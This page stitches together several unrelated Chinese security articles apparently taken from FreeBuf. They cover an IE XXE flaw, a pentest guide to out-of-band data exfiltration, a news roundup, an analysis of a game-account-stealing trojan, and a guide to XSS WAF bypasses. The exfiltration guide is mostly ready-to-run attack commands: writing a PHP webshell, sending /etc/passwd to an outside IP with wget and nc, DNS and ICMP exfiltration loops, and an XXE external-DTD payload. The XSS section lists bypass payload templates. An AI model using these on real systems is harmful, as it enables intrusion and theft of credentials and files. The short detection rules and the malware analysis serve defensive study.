IE-XXE.png

安全研究员John Page在3月27日向发现了微软的一个XXE漏洞并向其报告了具体情况,随后于4月10日发布了漏洞详情。目前,虽然微软还未修复该漏洞,但已发布了一个微密码,可拒绝远程攻击者泄漏本地文件以及限制在本机上的活动。

关于该漏洞,研究人员专门发布了一个视频用于展示如何利用:

漏洞简介

当用户在打开使用Edge浏览器下载的特制MHT文件时,该漏洞便可启动。由于此类文件是MHTML Web Archives,即IE浏览器用于保存网页的默认格式,同时IE也是Windows系统中打开这类文件的默认程序,因此不会被发现可疑内容。

ACROS Security的研究人员Mitja Kolsek分析了这个问题并确定该漏洞的来源是Edge浏览器中存在的“未记录的安全功能”,该功能干扰了Internet Explorer正确读取下载的带有Web标记(MOTW)的应用的功能。

直到微软发布该漏洞的修复程序之前,所有用户都可以通过0Patch平台获取前文提及的微密码。能够帮助Internet Explorer正确读取带有Web标记的下载文件并检查错误内容。

安全功能之间的冲突

MOTW是一项Windows系统自带的安全功能,即IE在运行请求提升本地权限的程序或脚本之前的验证功能。

微软的解释是:添加MOTW的网页允许网页内容按照来自安全区域的规则运行。因此,由于脚本与活动内容权限相同,无法进行提权或访问本机资源的行为。

Kolsek还发现,使用IE下载的MHT文件所具有的权限与Edge检索的权限不同,后者在访问控制列表中额外添加了两个条目:

S-1-15-3-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194:(OI)(CI)(R)

S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194:(OI)(CI)(R)

IE-Edge-file-dl-perms.png

由图可见,Edge下载的文件会拒绝低完整性的进程进行对文件的读取或访问操作。Kolsek表示,Edge正在使用该功能进一步加强已保存文件的安全性,以防止在低完整性沙箱中出现执行恶意代码的行为。

目前来看,MOTW信息也存储在该数据流中,但IE在尝试读取时会遇到错误,然后浏览器会忽略该错误,结果便是文件只能按照没有MOTW标志的相同处理方式,就像普通文件一样。

Kolsek表示,Page发现的XXE漏洞只影响了使用Edge的用户,其他浏览器或电子邮件客户端均没有发现类似的情况。

*参考来源:bleepingcomputer,Karunesh91编译,转载请注明来自FreeBuf.COM

在渗透中,经常碰到关闭回显的漏洞,常见的XXE盲注,SQL盲注,反序列号无回显,这个时候常用到OOB带外数据通道,带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。

本文的中心是在各种无回显的漏洞环境中使用带外通道技术将其传输的一个总结。

一、可回显

OWASP TOP 10

注入

对于可回显的注入利用基于联合查询、报错、盲注直接利用!

带外通道(OOB)总结

xxe

可回显的xxe直接引用DTD外部实体声明,常见利用方式:读取任意文件、执行系统命令、探测内网端口和攻击内网网站

带外通道(OOB)总结

命令执行&代码执行

代码执行

常见相关函数:PHP:eval、preg_replace + /e模式、assertJavascript:evalVbscript: Execute、EvalPython:exec

直接写入webshell可直接被中间件解析的脚本带外通道(OOB)总结

命令执行

A. windows

1. 信息收集net view #获取当前组的计算机名net view /domain #查看所有域net user #若如struts等给的权限高用administrator,直接可添加帐号,管理员组,隐藏克隆帐号等操作,如struts2漏洞大多数为adminisrator权限参考文献:横向渗透

2. 读取文件dir /s/a-d/b d:*.php #查找所有php文件位置

3. 文件写入& echo ^<^?php @eval^(^$^_POST[value]^)^;?^>^' > "D:\phpStudy\PHPTutorial\WWW\shell.php"<>等特殊符号在cmd下需要转码 而且写入文件不可带有<>:等特殊字符

4. msf等后门

带外通道(OOB)总结

B. linux

1. 常见函数:system、exec、assert、shell_exec、passthru、popen、proc_popen、escapeshellcmd、pcntl_exec

2. 特殊符号:|、&、&&、||、;、',",(),{},[],输入输出/重定向,通配符

3. 敏感数据获取echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d >shell.php #PD9waHAgcGhwaW5mbygpOz+是<?php phpinfo();?>base64编码 linux文件名不能带有/(斜杠)

4. DNS等持续性后门

二、无回显OOB(out of band)

倘若在发现这些漏洞的时候,无回显,这时OOB就登场了,常见的方式是HTTP、ICMP、DNS,ICMP隧道一般会进行防御,TCP在甲方中会有严格的防火墙控制端口,HTTP在甲方中一般也会有严格且完整的监控和阻断机制,DNS隧道在当前环境下,由于需要解析,不会对其进行拦截

HTTP

使用前提:无法回显但能出网时使用

Window内置

explorer带外通道(OOB)总结

查询文件位置web历史记录 会打开目标浏览器,不建议使用,且内容过多,循环导致浏览器卡死

带外通道(OOB)总结

telnet 模拟HTTP请求需强大的交互性

CurlCurl 默认不自带,需解压添加环境变量或安装curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}-T通过put方式上传与层地址

Wgetwget指定header头查看日志回显 wget -d --header="User-Agent: $(cat /etc/passwd|tail -n 1)" [[[[[http://120.79.206.249/1.php]带外通道(OOB)总结wget --header="User-Agent: $(cat /etc/passwd | xargs echo –n)" 

发送post请求,并接受post数据wget --post-data exfil=’cat /etc/passwd’ [[[[[http://120.79.206.249](http://120.79.206.249)]

powershell这里用的是dnslog原理ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="[[[[[http://dnslog:9000/!MYVAR!](http://dnslog:9000/!MYVAR!)]&& powershell Invoke-WebRequest !FINAL!"

nc系统可能无nc,且nc被监控的可能性较大nc -w 1000 120.79.206.249 < config.php``nc -l 1234 > config.php

dnslog

带外通道(OOB)总结根据原理只需要搭建一个上图中scholar域DNS 服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。其本质就是利用FQDN想域服务器解析为iP地址被记录的过程

DNSlog搭建

在线平台ceye.io

在线平台TOOLS

SQL盲注

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如www.test.com](http://www.test.com)这样的URL发起请求。这样的URL发起请求。](http://www.test.com)这样的URL发起请求。这样的URL发起请求。)))

带外通道(OOB)总结如下图payload,Load_file加载文件’\’,是对“\”的转义,最终加载的文件是\5.5.53.jf4ef7.ceye.io,load_file读取文件和windows读取文件调用的都是c的fopen()函数,而双斜杠表示网络资源路径,即UNC路径,于是发起了dns请求

带外通道(OOB)总结带外通道(OOB)总结

MYSQL dnslog条件:

secure_file_priv =""可以读取磁盘目录

secure_file_priv = G|\可以读取G盘文件

secure_file_priv = null load_file限制,不能加载文件在mysql 5.5.34 默认为空可以加载文件,之后的版本为NULL,不能加载文件

XXE

其原理是通过DTD文档引入外部DTD文档,再引入外部实体声明

运行python HTTP 服务器来存放dtd文件python -m SimpleHttpServer 9000写入dtd文件,dtd文件内容如下:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:9000/%data;'>">

加载外部实体,xml内容如下:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ip:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

Windows

(1) 测试

ping %USERNAME%.jf4ef7.ceye.io

带外通道(OOB)总结

(2. )利用漏洞进行数据提取cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.jf4ef7.ceye.io && nslookup !FINAL!"对cmd命令进行base64编码通过findstr -v查找不包含certificate的行提取base64编码后值进行dns解析传输

带外通道(OOB)总结

对获取的数据进行base64解密带外通道(OOB)总结参考文献:certutil在渗透中的使用

certutilbase64编码后的值 带外通道(OOB)总结(3.)大文件或者多行数据传输ipconfig > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.jf4ef7.ceye.io';$j += 1; nslookup $fin }使用十六进制对命令编码,Get-Content读取文件替换十六进制后为空的字符串,循环发送,并用11111标记标记循环的次数解析发送数据 带外通道(OOB)总结对获取的进行解码

 import json
def data():
    file_name=open('data.json',"r")
    file_json=(file_name.read())
    file=json.loads(file_json)
   # print(file)
    #print(len(file))
   # print(file[1])
    for i in range(1,len(file)):
        a=file[i]['name'].split('.')[1].replace('\n', ").replace('\n', ")
        a+=a
        print(a)
    file_name.close()

if __name__=="__main__":
data()

Linux

(1.) 测试

ping whoami.jf4ef7.ceye.io 需要注意的是这命令外不是单引号,同样nsloopup/dig也可以执行

带外通道(OOB)总结

(2.) 传输多行命令var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b. jf4ef7.ceye.io; done使用xxd -p对执行的命令输出16进制编码,循环解析 带外通道(OOB)总结

与十六进制相比,base64编码的文件更小var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i. jf4ef7.ceye.io; done 带外通道(OOB)总结

ICMP 带外通道(OOB)总结

类型: 0表示请求,8表示响应 代码:代码0表示超时与类型字段一起共同标识了ICMP报文的详细类型 检验和:对包括ICMP报文数据部分在内的整个ICMP数据报的校验和 标识:标识本ICMP进程,请求、应答和超时不可达能 序列号:从0开始,每发送一次新的回显请求加1 选项数据:选项数据字段是可以存放任何数据的,长度的话 理论上 ICMP 包外的 IP 包长度不超过 MTU 即可,但是实际上传不了那么大。

其中0~31是各种协议头部,那剩下的就是data了!原本默认ping传输的是:windows系统,默认传输32bytes,内容是abcdefghijklmnopqrstuvwabcdefghi,共32bytes带外通道(OOB)总结

Linux默认data传输的是48bytes,在date之前多了个Timestamp from icmp data头, 带外通道(OOB)总结

%%%%,4个%在0~f间变化,发送和返回相同,不同发送返回不同,占用两个字节 090000000000,前两位%%在变动,同一次ping操作,无论发送接收多少包,此数值不变,下一次ping则此值会变动,占用6个字节 101112131415161718191a1b1c1d1e1f20(规律是从10开始的16进制递增,一直到20),占用17bytes !”#$%&’()+,-./01234567,占用23bytes,此值为固定值

当两台主机,允许相互ping,即icmp通信,其他的tcp/udp端口无法通信,可以考虑利用icmp隧道,改变data填充我们自己想要的数据

Windowscmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('ip/dns',60 * 1000, $sendbytes, $PingOptions);

System.Net.NetworkInformation:提供对网络流量数据、网络地址信息和本地计算机的地址更改通知的访问

Ping :类允许应用程序确定是否可通过网络访问远程计算机

PingOptions:用于控制如何传输 Ping 数据包。属性DontFragment如果不能在多个数据包中发送数据,则为 true;否则为 false。 默认值为 false,用来发送大量数据,

Ping.send:Send (IPAddress, timeout, buffer);buffer为一个byte数组,包含了要与icmp会送消息一起发送并在icmp回送应答消息种返回的数据,不能超过65500字节

带外通道(OOB)总结

tcpdump 'icmp and src host 192.168.1.130' -w powericmp.pcap 带外通道(OOB)总结

LINUX

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 192.168.1.1;donexxd将内容转换成16进制,while循环读取赋值给exfil,进行ping,-p指定填充ping数据包的十六进制内容

带外通道(OOB)总结

图形化Wiresherk数据提取不是很友好

tcpdump 'icmp and src host 192.168.1.130' -w icmp.pcap
echo "0x$(tshark -n -q -r icmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p

-n: 禁止网络对象名称解析
-q: 只在结束捕获时输出数据,针对于统计类的命令非常有用
-R: 抓包后过滤,-f:-R: 抓包前过滤
-T test:格式化输出,格式为test,若是fields,-e可指定输出哪些字段,

带外通道(OOB)总结

检测和防御

dnslog检测

载荷分析和流量监控载荷分析:把主机名超过50个字符的 DNS 请求作为识别 DNS 隧道的特征.(正常的域名满足 Zipf 定律,而走 DNS 隧道的域名遵循的是随机分布)

流量监测检测网络中的 DNS 流量变化情况,通过检测单位时间内 DNS 报文流速率来检测是否存在DNS隧道,利用检测 txt 类型的 DNS 报文来发现僵尸网络的通信情况。Dns隧道通信一般常用的编码方式 Base64、Binary、Hex 编码等,请求的 Type 一般为 txt(为了返回的时候能够加入更多的信息)payload 部分一般为子域名带外通道(OOB)总结

基于IOC情报导入IOC情报,对请求恶意IOC的访问进行监控###ICMP只需要禁止ping就可以完全屏蔽此类隐蔽隧道风险,但如果要考虑用户体验,可以解析包体了,然后做否定判定,若ping的data不是标准的windows、linux的data包体(标准大包为合法)内容,则判定非法,报警拦截。

HTTP

注入kibana目前未提供cookieuri:"select" OR uri:"load_file" OR data:"select" OR data:"load_file" OR cookie:"select"

xxe任意文件读取data:("xml version" AND entity AND system AND "file")系统命令执行data:("xml version" AND entity AND system AND expect)端口探测data:("xml version" AND entity AND system AND http)

参考文献:

https://github.com/beefproject/beef/wiki/Installation

https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/

https://www.youtube.com/watch?v=COVtU5G0Iys

https://github.com/Arno0x/DNSExfiltrator

安全小白,能力有限,还请大佬指正和补充。

*本文作者:罹♛殇,转载请注明来自FreeBuf.COM

各位Buffer早上好,今天是 2019 年 4 月 24 日星期三。今天的早餐铺内容主要有:全球大使馆遭 Excel 鱼叉式钓鱼攻击;全国首宗“爬虫”软件案在深审结;FTC发布报告呼吁民众警惕巴黎圣母院慈善骗子;美国宾夕法尼亚州近15万成瘾康复患者的个人信息遭到泄露;微软雇员呼吁公司抵制 GitHub 审查压力。

breadless-breakfast-ideas-rebecca-article-1024x793.jpeg

全球大使馆遭 Excel 鱼叉式钓鱼攻击

Check Point 公司的研究人员指出,全球大使馆正在遭受来自俄罗斯黑客发动的鱼叉式钓鱼攻击。这些邮件带有美国国务院标志以及“绝密”标签,诱骗受害者认为它们是合法的,但实际上却包含恶意 Excel 文件。这些文档能够利用木马版本的远程访问软件 TeamViewer 来控制受感染的计算机。

Check Point 威胁情报组经理 Lotem Finkelsteen 表示,黑客能访问“一切”,包括“数据库、个人数据、文档、网络、其它联网设备。他们具有访问受感染设备的完整权限”。[来源:CodeSafe]

FTC发布报告呼吁民众警惕巴黎圣母院慈善骗子

据外媒报道,当危机发生时,不管是在国内还是国外,人们都会想办法提供帮助,无论是捐赠、资助还是提供其他物资。上周巴黎圣母院发生大火,数小时后救援工作迅速展开。为此,美国联邦贸易委员会(FTC)于当地时间周一发布了一份关于警惕冒充筹款人和慈善机构骗子的报告。[来源:cnBeta]

美国宾夕法尼亚州近15万成瘾康复患者的个人信息遭到泄露

超过491万份记载成瘾康复患者的个人身份信息的文件被长期公开放置在网络上,这又是一起由于ElasticSearch存在未授权访问而导致的数据泄露事件,据发现者表示,整个数据泄露周期从2016年中期至2018年末。

Cloudflare的Trust and Safety总监Justin Paine在使用Shodan搜索暴露在互联网上的设备时发现了这个ElasticSearch,其中有大约两个索引的敏感数据,总大小为1.45GB。

Paine在发现了这一情况后,立马寻找其所有者,最后发现是位于宾夕法尼亚州Levittown的成瘾治疗中心。[来源:NOSEC]

微软雇员呼吁公司抵制 GitHub 审查压力

中国程序员在 GitHub 上发起的 996.ICU 项目引发了广泛关注,但也引发了遭遇审查的担忧。一群微软雇员在一封内部邮件中呼吁公司抵制潜在的审查压力。在标题为“微软和 GitHub 工人支持 996.ICU(图片)”的信函中,微软雇员鼓励微软和 GitHub 这两家相信平衡工作和生活的公司,保持 996.ICU 库不受审查和任何人都可以访问。微软雇员可能不知道,996.ICU 罕见的得到了中国官方媒体的支持。[来源:Solidot]

全国首宗“爬虫”软件案在深审结

深圳中级人民法院发布了2018年度深圳法院知识产权司法保护状况白皮书和2018年度深圳法院知识产权十大典型案例,其中包括了全国首宗“爬虫”软件案。

案情显示,自2015年11月起至2016年5月,元光公司为了提高其开发的智能公交APP“车来了”在中国市场的用户量及信息查询的准确度,利用网络爬虫技术大量获取了竞争对手谷米公司同类公交软件APP“酷米客”的实时公交信息数据。随后,把这些数据无偿使用于其“车来了”APP上,并对外提供给公众进行查询。谷米公司将元光公司诉至法院。

法院审理后认为,被告元光公司利用网络爬虫技术大量获取并且无偿使用原告谷米公司“酷米客”软件的实时公交信息数据的行为,实为一种“不劳而获”“食人而肥”的行为,具有非法占用他人无形财产权益,构成不正当竞争行为,应当承担相应的侵权责任。[来源:广州日报]

前言

近期,360核心安全团队发现了一个作案时间长达7年之久的盗号团伙,该团伙捆绑了多种游戏外挂软件植入盗号木马,盗取包括聊天工具、Steam游戏、棋牌游戏等数十款客户端的账号密码,并通过倒卖这些账户最终获利。追踪过程中发现,作案团伙使用的盗号后台均以“天龙”、“天马”等命名,结合其偷窃游戏账号的性质,故本次报告将该盗号木马集合标记为“天鼠”系列。

845837_5WYKAYEP3FNETAZ.jpg

作案情况

以下是作案团伙的其中一份盗号清单,捆绑的木马程序实时监控用户机器上运行的37种客户端程序,其中包括QQ、YY两款聊天工具,LOL、DNF等多款大型网络游戏,以及斗地主、亲朋等棋牌类游戏,然后从远程服务器下载对应的盗号程序来进行账户密码的窃取。

845837_FS2656HP2Z2HEQ8.jpg

根据盗号数据库的创建日期看,至少从2012年3月份开始,该作案团伙就已经着手进行盗号窃取工作,如下为其中一张密保资料(“mibaozl”)表的部分字段。

845837_8APESEEDXWK69M6.jpg

该作案团伙每天盗取的账号数量“颇为可观”,如下为近期被盗取的部分DNF游戏账号。

845837_43V3MAQWZB25PGB.jpg

经过追踪调查,发现作案团伙实时监测盗取的账号数据,每隔一段时间就会登录服务器收取一批最近盗取的账号并销毁数据记录,如下为作案团伙使用的其中一个数据监测后台。

845837_2KCJCVQV3S432PS.jpg

从截获到作案团伙的一些备忘录上看,该团伙对各个目标客户端会有不同的监测后台和销售渠道,比如其中某款棋牌游戏的账号标价可能为30元一个,结合该团伙的目标种类数目和每天盗取的账号数量,可以说用“日进斗金”来描述其黑色收益的产出再适合不过了。

845837_YVH3XVEQVDXZTBA.jpg

案例分析

通过360安全大脑追查后发现,该作案团伙捆绑了大量不同类型的游戏辅助外挂程序来传播盗号木马,本节以“生死狙击刷金币1.0”为例来分析具体的盗号流程,该软件被作案团伙挂到网上各大下载站,并且早在2016年份就开始传播。(软件的制作时间是2015年)

845837_GG39VE2UZV8ZPC4.jpg

用户下载外挂软件后运行,可以看见正常的外挂功能界面,但是捆绑的木马线程却已经在后台偷偷地运行起来。

845837_TDDG9F35U2BXYB7.jpg

木马线程通过内置的FTP账号密码从远程服务器“www.yitongcom.com:21”拉取一个木马分发器“help.exe”,由该分发器再负责监控用户机器的客户端程序并下载对应的盗号或远控模块来执行恶意工作。

845837_FPFNG286Y89SA3W.jpg

木马分发器“help.exe”内置了一张监测列表,通过检查进程列表来执行对应模块的下载动作,比如当用户启动QQ时就会下载对应的QQ盗号木马模块运行。另外,正常系统均会存在“csrss.exe”系统进程,所以该分发器至少会从远程下载“bin6/csrss.exe”模块运行,而该模块实际上是个远程控制模块,用来直接控制用户电脑。

845837_5VGBMX4WJ6QEBWQ.jpg

这些恶意的工作模块下载后被重命名为“360sys**.exe”(其中**为随机数字),限于文章篇幅这里仅简单介绍2类盗号模块的工作流程。

QQ盗号过程

QQ的盗号过程比较简单,核心方法就是通过弹出一个仿冒的登录窗口来欺骗用户输入账号密码。首先盗号模块循环遍历进程列表来检测QQ进程是否存在:

845837_QSTFP6T558XFBVS.jpg

若发现QQ已登录,则直接运行kill命令退出该进程,或者用户刚启动QQ的时候直接终止进程。

845837_P2FQX32N9G3D938.jpg

当然,强制退出QQ进程后,木马模块马上通过内置的登录框资源画出一个仿冒的登录窗口,该窗口是根据真实的历史版本QQ登录界面高仿出来的,用户可能难以辨识真假输入自己的账号密码上当受骗。

845837_DG9N4QDP2QQWGVB.jpg

此外,在盗号模块的资源中还发现了QQ异常登录的图片,但实际上目前并没有使用,推测后续可能该团伙会在强制退出已登录QQ的欺骗流程上再做完善。

845837_ZESNMUPVJBEA2TH.jpg

一旦用户受骗上当,输入自己的账户密码试图登录,盗号模块就成功截获账号并回传服务器,之后再启动“真的”QQ进行登录。

845837_UBXJGDA2AB7DATR.jpg

DNF盗号过程

DNF游戏盗号模块的流程稍微复杂一些,不过最终使用的盗号方式其核心原理也是仿冒DNF游戏的登录界面欺骗用户输入账号密码。分析过程发现,该模块加载方式较为繁琐,目的是为了躲避安全检查,联网从“hxxp://115.231.220.57:8005/xia/tm.css”下载真正的盗号代码并创建傀儡进程来运行,具体的步骤这里就不再详述,直接进入盗号代码分析盗号过程。

首先,依然是遍历进程列表检查DNF游戏是否运行,若存在则直接将其强制退出,然后从腾讯官方下载一些真实的图片资源备用。

845837_H3EJ9QYK2889Z42.jpg

接着,针对使用单独的DNF游戏客户端和腾讯游戏平台两种登录方式分别创建了1个线程进行窃取。对于独立客户端登录程序,先强制退出相关的辅助进程后,再检查该客户端程序是否存在以进行下一步流程。

845837_SXSN4DXGZYPP5JD.jpg

下一步的流程其实也是依葫芦画瓢,把人家的程序退出后就自己画出仿冒的游戏登录窗口以假乱真,诱骗游戏用户输入账号密码。

845837_KWR3Y8UKG62JB89.jpg

然而实际上最新版的官方DNF游戏登录界面如下:

845837_G9DDP643R9X7939.jpg

当受骗用户在仿冒的登录界面输好账号密码准备登录游戏后,盗号代码则一边假正经的提示用户正在登录,另一边则偷偷将盗取的账号密码往自己的服务器回传,等盗窃任务完成后,再给用户弹出个“善意的谎言”。

845837_BH56T5JPBWTHJMS.jpg

盗号木马模块将用户账号密码偷偷回传:

845837_GS4NZ7ADZYTXTAW.jpg

最后当用户点击虚假提示信息里的“确定”按钮,木马模块就帮用户重新启动了一下正版的DNF游戏进行登录,功成身退。

845837_X64KDVTZKBJTUKX.jpg

传播溯源

通过360安全大脑的监测,发现该系列盗号木马主要是以捆绑游戏外挂的形式进行传播,从这点也能看出作案团伙的主要目标群体是网络游戏玩家,针对他们的游戏账号进行盗窃。以下仅列出部分被捆绑过该系列盗号木马的游戏外挂程序。

845837_J6669P2AJXHQV3D.jpg

进一步追踪发现,这些各式各样的外挂辅助程序被上传到网上进行大量传播,作案团伙在各类知名或不知名的软件下载站、网盘中进行广撒网,大大增加游戏玩家下载运行盗号木马的机会,以下为部分被沦陷成为该团伙作案温床的下载网站列表。

845837_XTXX3UFQRA73SZZ.jpg

根据360安全大脑的监测,该系列木马持续作案,经常更新换代,不仅盗号模块和捆绑的载体外挂程序会经常替换,而且盗号使用的服务器也是不断更新和拓展。但是由于传播网络早已建立,该作案团伙每天都能轻松保证足够的活跃度来支撑其黑色收益,如下仅以上述提及的盗号服务器为例反映最近一个月来的木马活跃情况。

845837_EG5C8KH4R7A96F7.jpg

总结

本系列盗号木马有传播范围广、持续时间长和作案经验老道等特点,360核心安全团队对其进行了深度的追踪和独家的披露,并借助360安全大脑展开全面的查杀和防御。

对于广大的网络游戏玩家,建议使用最新的360安全卫士对电脑进行安全防护,不要轻易下载来历不明的外挂软件,提高自我安全意识并养成定期更换账号密码的良好习惯。

845837_HBZFP64FBF44X6B.jpg

附录

845837_GETTMQ8KPTPC8YT.jpg*本文作者:360安全中心,转载请注明来自FreeBuf.COM

企业在享受数字化转型带来利好的同时,其面临的安全问题也愈发复杂。一方面,外部威胁不断升级,近期利用海量移动设备发起DDoS攻击的案例表明,黑灰产作案手法也在随着时代的发展而不断演进;另一方面,内部安全隐患层出不穷,员工自带设备办公增加企业攻击面,因开发者不小心泄露的访问凭证等问题时有发生。

“安全基础建设变得更为关键,将成为企业数字化转型过程中的安全基石。而云的原生能力将帮助企业构建更高等级的基础安全能力。”阿里云智能安全事业部总经理肖力在2019西湖论剑·网络安全大会主题演讲中指出。

微信图片_20190422161304.jpg

阿里云智能安全事业部总经理肖力现场演讲

据Gartner判断,到2020年,与传统数据中心相比,公共云的安全能力将帮助企业至少降低60%的安全事件。未来企业上云是总体趋势,数据显示,2019年,已经有84%的中国企业表示愿意上云。

基于云上数据处理能力、强大的算力、网络边界清晰的看见能力等各方面的原生优势,云上环境可以帮助企业从身份认证授权管理、网络访问控制、基线运营、默认安全流程、全局数据流程保护、威胁检测及自动化响应等各个方面输出最佳安全实践,从底层保障企业的系统、应用、网络等全方位安全,提升基础安全建设水位。

肖力指出,安全应该内置到整个产品和业务生产流程中去,把原来的事后安全运营工作前置,做到事前预防、自动化响应和主动防御。阿里云的诸多实践案例显示,在云上做0-day漏洞的应急响应经常会比官方系统商提前知晓并上线防御策略,从而保障云上用户安全。

安全厂商的产品逐渐走向融合是另一个明显的行业趋势,通过自动化响应建立完整的安全闭环已经成为共识。阿里云近期推出的云安全中心,基于云上的威胁情报能力、日志采集能力、大数据能力,可以帮助企业实现云上资产和威胁情况的全局可见,让用户从单点安全运营变为全局管理,并支持线上线下混合云环境;不仅如此,云安全中心通过与安全产品的联动,还可以实现自动化主动防御,让企业享受到真正意义上的安全闭环服务,使安全运营成为企业基础设施化的能力之一。

目前阿里云安全已经服务了数十万企业用户,覆盖各行各业。“我们也希望通过整个云平台的安全能力,帮助用户更好的在数字化转型过程中解决安全问题,做到真正意义上的普惠安全。”肖力最后表示。

看我如何绕过WAF的XSS检测机制

概述

本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。

致读者

本文假设读者对XSS、HTML和JavaScript已经有了基本的了解。

全文使用{string}来代表Payload机制中的组件。

全文使用{?string}来代表可选组件。

全文使用“主要字符”这个名词代表Payload中必须包含的字符。

作者建议使用URL编码来处理Payload中不安全的字符,例如“+”和“&”等等。

在探测过程中,建议使用无害的字符串来代替{javascript}。

介绍

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。

本文提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。

HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

1、 标签内:<inputtype=”text” value=”$input”>

2、 标签外:<span>Youentered $input</span>

标签外

在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:

1、<svg – 如果通过,表明没有进行任何标签检测;

2、<dev – 如果无法通过,则为<[a-z]+;

3、x<dev – 如果通过,则为^<[a-z]+;

4、<dEv – 如果无法通过,则为<[a-zA-Z]+;

5、<d3V – 如果无法通过,则为<[a-zA-Z0-9]+;

6、<d|3v – 如果无法通过,则为<.+;

如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。这种方式的假阳性率非常高,因此不鼓励使用。如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。

Payload机制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

1、<tag xxx – 如果无法通过,则为{space};

2、<tag%09xxx – 如果无法通过,则为[\s];

3、<tag%09%09xxx – 如果无法通过,则为\s+;

4、<tag/xxx – 如果无法通过,则为[\s/]+;

5、<tag%0axxx- 如果无法通过,则为[\s\n]+;

6、<tag%0dxxx>- 如果无法通过,则为[\s\n\r+]+;

7、<tag/~/xxx – 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“on\w+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:

1、<tag{filler}onxxx – 如果无法通过,则为on\w+。如果通过,则为on(load|click|error|show);

2、<tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;

下面是一些防火墙黑名单中没标记的事件处理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload结束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload机制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>标签的Payload可以利用下面的Payload机制来构建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload机制#3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆处理后的Payload结构如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload机制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
